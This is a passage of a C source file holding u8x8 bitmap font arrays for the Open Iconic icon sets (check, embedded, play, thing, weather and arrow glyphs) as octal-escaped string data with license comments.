\"\\1\\0\\0\\0\\377\\377\\3\\3\\3c\\60\\70\\70<<<~<\\34\\10\\77\\77\\60\\60\\60\\60\\60\\60\\60\\60<<\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_check_2x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 5/5\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_check_2x2[164] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_check_2x2\") = \n  \"@D\\2\\2\\0\\200\\300\\200\\0\\0\\0\\200\\300\\340\\360\\370\\374x\\60\\0\\1\\3\\7\\17\\37>\\77\\37\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\376~\\177\\377\\377\\177\\77\\37\\216\\316\\374\\370\\340\\7\\37\\77\\177~\\374\\370\\370\\374\\376\\377\\177\"\n  \"\\177\\77\\37\\7\\340\\370\\374\\376\\316\\217\\37\\77\\77\\37\\217\\316\\376\\374\\370\\340\\7\\37\\77\\177s\\361\\370\\374\\374\\370\\361s\"\n  \"\\177\\77\\37\\7\\377\\377\\3\\3\\3c\\343\\303\\303\\343q\\70\\34\\216\\6\\0\\77\\77\\60\\60\\60\\60\\60\\61\\61\\60\\60\\60\"\n  \"\\77\\77\\0\\0\\4\\16\\37>|\\370\\360\\340\\360\\370\\374~\\77\\36\\14\\0\\20\\70|~\\77\\37\\17\\7\\7\\17\\37>\"\n  \"|x\\60\";\n/*\n  Fontname: open_iconic_embedded_2x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 17/17\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_embedded_2x2[548] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_embedded_2x2\") = \n  \"@P\\2\\2\\374\\374\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\374\\374\\300\\300\\77\\77\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\"\n  \"\\77\\77\\3\\3\\0\\0\\0\\300\\374\\376\\377\\377\\377\\377\\376\\374\\300\\0\\0\\0\\14\\16\\17\\17\\17\\17O\\317\\317O\\17\\17\"\n  \"\\17\\17\\16\\14\\200\\300\\334\\374\\374\\70\\36\\37\\37\\36\\70\\374\\374\\334\\300\\200\\1\\3;\\77\\77\\34x\\370\\370x\\34\\77\"\n  \"\\77;\\3\\1\\0\\0\\0\\0 \\70>\\77\\367\\361p\\20\\0\\0\\0\\0\\0\\0\\0\\0\\14||\\77\\37\\15\\4\\0\"\n  \"\\0\\0\\0\\0\\0 \\360\\370\\370\\374\\376\\377\\377\\376\\374\\370\\370\\360 \\0\\0\\0\\77\\77\\77\\77\\3\\3\\3\\3\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\300\\200\\6\\16\\34\\30\\0\\360\\370\\374\\376\\177\\77\\37\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\200\\200\\200\\200\\200\\370~\\370\\300\\200\\340\\340\\200\\200\\200\\200\\1\\1\\3\\37\\37\\3\\0\\3\\37\\37\\3\\1\"\n  \"\\1\\1\\1\\1\\0\\0\\0\\300\\370\\376\\77\\77\\376\\360\\300\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\314\\314\\377\\377\\377\\377\"\n  \"\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\370\\376\\376\\377\\303\\300\\300\\300\\300``\\220\\230|>\\37\\17\\7\\3\\3\\3\\3\"\n  \"\\3\\1\\1\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\300\\300\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\3\\3\\0\\0\\0\\60`\\377\\377\\206\\314xx\\60\\0\\0\\0\\0\\0\\0\\0\\14\\6\\377\\377a\\63\\36\\36\\14\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\3\\3\\7\\6\\16<\\370\\340\\7\\37\\77\\177\\177\\377\\377\\377\\300\\300\\340`\"\n  \"p<\\37\\7\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\314\\314\"\n  \"\\374\\374\\0\\0\\0\\0\\230\\230\\314\\314ff\\63\\63\\230\\230\\0\\0\\0\\0\\0\\0\\1\\1\\14\\314\\316\\316\\317\\17\\1\\1\"\n  \"\\0\\0\\0\\0\\300\\340p\\30\\0\\0\\377\\377\\0\\0\\30p\\340\\300\\0\\0\\17\\37\\70`\\340\\300\\300\\300\\300\\340`\\70\"\n  \"\\37\\17\\0\\0\\340\\370<\\16\\6\\7\\3\\3\\3\\3'\\66><>>\\7\\37<p`\\340\\300\\300\\300\\300\\340`\"\n  \"`\\0\\0\\0\\4\\16\\6\\206\\203\\303\\303\\303\\303\\303\\203\\206\\6\\6\\4\\0\\0\\0\\0\\0\\1\\0\\360\\360\\360\\0\\1\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_play_2x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 18/18\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_play_2x2[580] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_play_2x2\") = \n  \"@Q\\2\\2\\300\\300\\0\\0\\374\\374\\0\\0\\377\\377\\0\\0\\360\\360\\0\\0\\3\\3\\0\\0\\77\\77\\0\\0\\377\\377\\0\\0\"\n  \"\\17\\17\\0\\0\\360\\360\\360\\360\\360\\370\\370\\374\\374\\376\\0\\0\\377\\377\\0\\0\\0\\0\\1\\17\\77\\61\\1\\3\\3\\7\\0\\0\"\n  \"\\17\\17\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\376\\374\\370\\360\\300\\200\\0\\0\\362\\363\\363\\363\\363\\363\\363\\363\\363\\363\\363\\363\"\n  \"\\363\\363\\363\\362\\0\\0\\360\\374\\16\\6\\3\\3\\3\\3\\6\\16\\374\\360\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\77\\77\\77\\77\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\77\\37\\37\\17\\17\\7\\7\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\300\\360\\370\\370\\374\\374\\374\\374\\370\\370\\360\\300\\0\\0\\0\\0\\3\\17\\37\\37\\77\\77\\77\\77\\37\\37\"\n  \"\\17\\3\\0\\0\\0\\200\\300\\340\\340\\360\\370\\374\\0\\200\\300\\340\\340\\360\\370\\374\\0\\1\\3\\7\\7\\17\\37\\77\\0\\1\\3\\7\"\n  \"\\7\\17\\37\\77\\374\\370\\360\\340\\340\\300\\200\\0\\374\\370\\360\\340\\340\\300\\200\\0\\77\\37\\17\\7\\7\\3\\1\\0\\77\\37\\17\\7\"\n  \"\\7\\3\\1\\0\\374\\374\\374\\374\\0\\200\\200\\300\\340\\340\\360\\360\\370\\374\\0\\0\\77\\77\\77\\77\\0\\1\\1\\3\\7\\7\\17\\17\"\n  \"\\37\\77\\0\\0\\374\\370\\360\\360\\340\\340\\300\\200\\200\\0\\374\\374\\374\\374\\0\\0\\77\\37\\17\\17\\7\\7\\3\\1\\1\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\360\\360\\0\\0~\\377\\377~\\0\\0\\360\\360\\0\\0\\0\\0\\0\\3\\207\\306\\314\\374\\374\\314\\306\\207\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\374\\376\\36\\36\\16\\17\\17\\17\\17\\17\\377\\377x\\374\\374\\374\\377\\177\\0\\0\\0\\0\\36\\77\"\n  \"\\77\\77\\77\\37\\340\\370\\374\\376\\376\\377\\17\\37\\77\\77\\177\\376\\376\\374\\370\\340\\7\\37\\77\\177\\177\\377\\360\\370\\374\\374\\376\\177\"\n  \"\\177\\77\\37\\7\\360\\360\\360\\360\\370\\374\\377\\377\\0\\0\\314\\214\\30\\70\\360\\300\\17\\17\\17\\17\\37\\77\\377\\377\\0\\0\\63\\61\"\n  \"\\30\\34\\17\\3\\0\\0\\360\\360\\360\\360\\370\\374\\377\\377\\0\\0\\300\\200\\0\\0\\0\\0\\17\\17\\17\\17\\37\\77\\377\\377\\0\\0\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\370\\374\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\37\\77\\377\\377\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_thing_2x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 19/19\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_thing_2x2[612] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_thing_2x2\") = \n  \"@R\\2\\2\\300\\300\\300\\340\\360\\374\\316\\307\\307\\316\\374\\360\\340\\300\\300\\300\\0\\0\\377\\377\\303\\303\\377\\377\\377\\377\\303\\303\"\n  \"\\377\\377\\0\\0\\360\\360\\360\\360\\376\\377\\363\\363\\363\\363\\377\\376\\360\\360\\360\\360\\363\\363\\363\\363\\363\\363\\363\\363\\363\\363\\363\\363\"\n  \"\\363\\363\\363\\363\\314\\314\\314\\314\\314\\314\\314\\314\\314\\314\\314\\314\\314\\314\\314\\314\\77\\77\\63\\63\\77\\77\\63\\63\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\77\\0\\0\\0\\0\\200\\300\\370\\376\\376\\377\\347\\303\\303\\346\\376x\\360\\370\\374\\377\\377\\377\\17\\17\\17\\17\\3\\3\"\n  \"\\3\\1\\1\\0\\0\\0\\0\\0\\14\\16\\7\\3\\3\\7\\376\\374\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\200\\300\\340p\\270\\234\\16\\7\\203\\303\\347~<\\0\\0\\37\\77q\\340\\317\\317\\315\\356w;\\31\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\366\\377\\377\\366\\360\\360\\360\\360\\0\\0\\0\\0\\377\\377\\377\\377\\237\\17\\17\\237\\377\\377\\377\\377\"\n  \"\\6\\17\\17\\6\\0\\0\\0\\0\\0\\0\\0``\\360\\370|<\\36\\7\\2\\0\\300\\360\\376\\377\\177\\77\\36\\0\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\377\\376\\374\\370\\360\\300\\0\\0\\0\\0\\0\\37\\77s\\303\\317\\317\\337\\377\\377\\177\"\n  \"\\77\\37\\0\\0\\0\\0\\374\\374\\14\\14\\14\\14\\14\\14\\14\\14\\374\\374\\0\\0<<\\77\\77<<\\60\\60\\60\\60<<\"\n  \"\\77\\77<<\\360\\370\\34\\6\\7\\3\\3\\3\\3\\7\\6\\34\\370\\360\\0\\0\\3\\7\\16\\30\\70\\60\\60\\60\\60\\70\\30>\"\n  \"\\177\\371\\360`\\0\\0\\377\\377\\3\\3\\3\\3\\3\\3\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\360\\360\\220\\220\\360\\360\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\30<<<<\\377\\377\\360\\360\\360\\360`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\60\\60`\\340\\374\\376\\377\\377\\377\\374\\340`\\60\\60\\0\\0\\63\\63\\37\\77\\177\\177\\0\\0\\177\\177\\77\\37\"\n  \"\\63\\63\\0\\0\\0\\200\\340\\360\\377\\376\\374\\360\\0\\0\\300\\200\\0\\0\\0\\0\\17\\77\\177\\377\\17\\7\\301\\340\\370\\374\\377\\377\"\n  \"\\377|\\0\\0\\0\\0\\300\\300\\374\\376\\307\\303\\303\\307\\376\\374\\300\\300\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\17\\17\\214\\314\\314\\314\\374\\374\\374\\374\\314\\314\"\n  \"\\314\\214\\17\\17\\200\\300\\303\\303\\377\\377\\377\\377\\377\\377\\303\\303\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\0\\0\\377\\377\\360\\360\\360\\360\\220\\220\\360\\360\\360\\360\"\n  \"\\377\\377\\0\";\n/*\n  Fontname: open_iconic_weather_2x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 6/6\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_weather_2x2[197] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_weather_2x2\") = \n  \"@E\\2\\2\\0\\200\\300\\300\\340\\370\\370\\374\\374\\374\\374\\370\\370\\340\\0\\0\\17\\37\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\36x~>\\37\\217\\347\\343\\362\\362\\360\\360\\340\\340\\200\\0\\0<~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\374x\\340\\370\\374\\376\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\177\\177\\377\\376|||\"\n  \"\\70\\30\\14\\0\\300\\340\\360\\360\\370\\376\\376\\377\\377\\377\\377\\376\\376\\370\\300\\200\\3\\3\\363\\363\\1\\0\\374\\374\\0\\1\\363\\363\"\n  \"\\3\\7\\17\\7\\0@\\300\\300\\300\\300\\340\\374\\374\\340\\300\\300\\300\\300@\\0\\0\\0\\0\\1s\\77\\37\\17\\17\\37\\77s\"\n  \"\\1\\0\\0\\0\\200\\200\\14\\14\\300\\340\\360\\363\\363\\360\\340\\300\\14\\14\\200\\200\\1\\1\\60\\60\\3\\7\\17\\317\\317\\17\\7\\3\"\n  \"\\60\\60\\1\\1\";\n/*\n  Fontname: open_iconic_arrow_4x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 28/28\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_arrow_4x4[3588] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_arrow_4x4\") = \n  \"@[\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\20\\60p\\360\\360\\360\\360\\360\\377\\377\\377\\377\\360\\360\\360\\360\\360p\\60\\20\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37\\77\\177\\377\\77\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0@`\\360\\370\\374\\376\\376\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\0\\0\\0\\1\\3\\7\\7\\17\\37\\77\\177\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\376\\376\\374\"\n  \"\\370\\360` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\177\\77\\37\\17\\7\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\377\\376\\374\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\16\\17\\17\\17\\17\\17\\377\\377\\377\\377\\17\\17\\17\\17\\17\\16\\14\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\17\\17\\17\\17\\17\\17\\17\\17\\376\\376\\376\\374\\374\\370\\360\\340\"\n  \"\\300\\200\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\376\\360\\17\\177\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\"\n  \"\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\376\\374\\370\\360\\360\\370\\374\\376\\177\\177\\177\\77\\77\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\177\\77\\37\\17\\377\\377\\377\\377\\376\\376\\376\\374\\374\\370\\360\\340\"\n  \"\\300\\200\\0\\0\\360\\376\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\377\\377\\376\\360\\17\\177\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\376\\374\\370\\360\\377\\377\\377\\377\\177\\177\\177\\77\\77\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\377\\377\\377\\377\\17\\37\\77\\177\\376\\376\\376\\374\\374\\370\\360\\340\"\n  \"\\300\\200\\0\\0\\360\\376\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\"\n  \"\\377\\377\\376\\360\\17\\177\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\"\n  \"\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\377\\377\\377\\377\\360\\370\\374\\376\\177\\177\\177\\77\\77\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\177\\77\\37\\17\\17\\37\\77\\177\\376\\376\\376\\374\\374\\370\\360\\340\"\n  \"\\300\\200\\0\\0\\360\\376\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\"\n  \"\\377\\377\\376\\360\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\360\\360\\360\\360\\360\\360\\360\\360\\177\\177\\177\\77\\77\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\60p\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360p\\60\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\376\\374\\370\"\n  \"\\360\\340\\300\\200\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\16\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\16\\14\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\6\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\"\n  \"\\37\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360`\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  